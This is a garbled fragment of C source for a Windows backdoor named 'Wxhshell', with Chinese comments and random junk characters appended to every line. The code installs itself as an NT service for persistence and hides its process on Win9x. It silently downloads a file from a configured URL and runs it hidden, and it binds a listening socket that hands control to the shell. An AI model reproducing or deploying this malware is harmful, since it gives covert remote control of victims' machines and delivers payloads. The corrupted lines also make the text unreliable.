DWORD BasePriority; JKz]fgOd$
ULONG UniqueProcessId; X \BxRgl},
ULONG InheritedFromUniqueProcessId; O?`_RN4l
} PROCESS_BASIC_INFORMATION; KG=57=[
bOolBKV
PROCNTQSIP NtQueryInformationProcess; :V0sKg|sS
ES)@iM?5
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]7{
e~U
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L.s$|%
/:d6I].
HANDLE hProcess; `aDVN_h{6
PROCESS_BASIC_INFORMATION pbi; +QEP:#qZw
Q*N{3G!
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R $@$
if(NULL == hInst ) return 0; "-Yj~
yNhRh>l
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e-Zul.m
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @R_ON"h
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .(7m[-iF!
+a"f)4\
if (!NtQueryInformationProcess) return 0; gtnu/Q
(DkfLadB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hkB|rhJgm
if(!hProcess) return 0; `^HK-t4q
]1 jhy2j
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \4KV9wm
6~-,.{Y
CloseHandle(hProcess); fZp3g%u
f28bBuv1?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f~R+Q/Gtz`
if(hProcess==NULL) return 0; w! PguP
'!F'B:
HMODULE hMod; 6HZVBZhM
char procName[255]; W]5Hc|!^^
unsigned long cbNeeded; >qVSepK3
(<}BlL
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L6"V=^Bq
8+ ]'2{
CloseHandle(hProcess); vSy[lB|)24
:Y|[?;
if(strstr(procName,"services")) return 1; // 以服务启动 r&+w)U~
<1#hX(Q
return 0; // 注册表启动 81H9d6hqcD
} S%jW}v';
&O5O@3:7]
// 主模块 `nRF"T_
int StartWxhshell(LPSTR lpCmdLine) 8O_yZ
~Z4
{ Us.k,
SOCKET wsl; Ae%AG@L
BOOL val=TRUE; _\gCdNrD
int port=0; @*E=O |
struct sockaddr_in door; Sf*gAwnW
Q
ZC\%X8j
if(wscfg.ws_autoins) Install(); <.2jQ#So
lPD&Doa
port=atoi(lpCmdLine); y'!"GrbZ
uvAJJIae'
if(port<=0) port=wscfg.ws_port; DkSs^ym
=Qf{
WSADATA data; ?G<ISiABQC
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sDY+J(Z
4Y{;%;-i
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z+{xW7
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %=Y=]g2
door.sin_family = AF_INET; S!n?b|_
door.sin_addr.s_addr = inet_addr("127.0.0.1"); LLKYc y
door.sin_port = htons(port); cbYQ';{
<kk!ns I
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,pY:kQ
closesocket(wsl); G^';9 UK
return 1; dUUg}/
} '
&3,qT
wD:2sri
if(listen(wsl,2) == INVALID_SOCKET) { :cf#Tpq"
closesocket(wsl); K)
Ums-b
return 1; !L@<?0xLW
} Bg] %
Wxhshell(wsl); Ylyk/
WSACleanup(); xS:n
0cDP:EzR;
return 0; RL)~J4Y
fv@<
} /=T:W*C
}KO <II
// 以NT服务方式启动 _ds;:*N+qA
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |MOz>1<a
{ UZs'H"K
DWORD status = 0; :>/6:c?atG
DWORD specificError = 0xfffffff; CYlS8j
LJom+PxF$x
serviceStatus.dwServiceType = SERVICE_WIN32; *<[zG7+&[
serviceStatus.dwCurrentState = SERVICE_START_PENDING; t 4VeXp6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /::Y &&$f
serviceStatus.dwWin32ExitCode = 0; 4U16'd
serviceStatus.dwServiceSpecificExitCode = 0; WEJ-K<A(
serviceStatus.dwCheckPoint = 0; !iq|sXs
serviceStatus.dwWaitHint = 0; #G_'5{V
=ZO lE|4
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]1pB7XL
if (hServiceStatusHandle==0) return; 1w,34*- }
AF8:bk,R
status = GetLastError(); eco&!R[G
if (status!=NO_ERROR) CZ'm|^S
{ I~6 o<HO
serviceStatus.dwCurrentState = SERVICE_STOPPED; $4}G
serviceStatus.dwCheckPoint = 0; 'kco.
1{
serviceStatus.dwWaitHint = 0; 7A) E4f'
serviceStatus.dwWin32ExitCode = status; X#
/c7w-
serviceStatus.dwServiceSpecificExitCode = specificError; rLE+t(x(0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ##}7cFX
return; 7xQ:[P!G+
} hu1ZckIw?
rL&Mq}7QK
serviceStatus.dwCurrentState = SERVICE_RUNNING; jEwt1S V
serviceStatus.dwCheckPoint = 0; c&x1aF "B
serviceStatus.dwWaitHint = 0; :5.F
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V#5$J Xp
} ky-nP8L}
9e c},~(
// 处理NT服务事件,比如:启动、停止 J3(E{w8Q
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4 R(m$!E!
{ H Tv#2WX
switch(fdwControl) #0hqfs
{ qE|syA9
case SERVICE_CONTROL_STOP: .ANR|G
serviceStatus.dwWin32ExitCode = 0; hSR+7qN<e
serviceStatus.dwCurrentState = SERVICE_STOPPED; c/ih%xR
serviceStatus.dwCheckPoint = 0; h5pfmN\-5
serviceStatus.dwWaitHint = 0; rmo\UCD
{ dGi
HO
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5&h">_j
} N>,`TsUwW
return; ZHa>8x;Mjl
case SERVICE_CONTROL_PAUSE: Yb4ku7}
serviceStatus.dwCurrentState = SERVICE_PAUSED; kY!zBk
break; 9(nq 4HvI
case SERVICE_CONTROL_CONTINUE: cs?WE9N
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1_#;+S
break; E1tCY.N{
case SERVICE_CONTROL_INTERROGATE: T1*.3_wtP
break; k].swvIi
}; D7T|K :F)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E>f{j:M
} *coUHbP9>
AWYlhH4c?t
// 标准应用程序主函数 >;'0ymG.`
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P"l'? `
{ Je6wio-4
qT !lq
// 获取操作系统版本 @4D{lb"{
OsIsNt=GetOsVer(); w/(c}%v}=
GetModuleFileName(NULL,ExeFile,MAX_PATH); '"\'<>Be
eBs.RR
]O
// 从命令行安装 \wk;Bo
if(strpbrk(lpCmdLine,"iI")) Install(); =JgR c7
R ZQH#+*t}
// 下载执行文件 80_w_i +
if(wscfg.ws_downexe) { j6Sg~nRh
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <+-n
lK4
WinExec(wscfg.ws_filenam,SW_HIDE); z<mN-1PM7&
} ]X77?Zz9
Btm_S\1
if(!OsIsNt) { DKu$u ]Z
// 如果时win9x,隐藏进程并且设置为注册表启动 'QxJU$
HideProc(); 7U_ob"`JV
StartWxhshell(lpCmdLine); fn=A_
i
} ,LN^Zx*
else VQ|{Q}
if(StartFromService()) %),u0:go
// 以服务方式启动 !C05;x8{
StartServiceCtrlDispatcher(DispatchTable); 5cinI^x)f
else MTZCI}
// 普通方式启动 Z#-N$%^F
StartWxhshell(lpCmdLine); } `Ya;
rU&Y/
return 0; b<~-s sL7a
}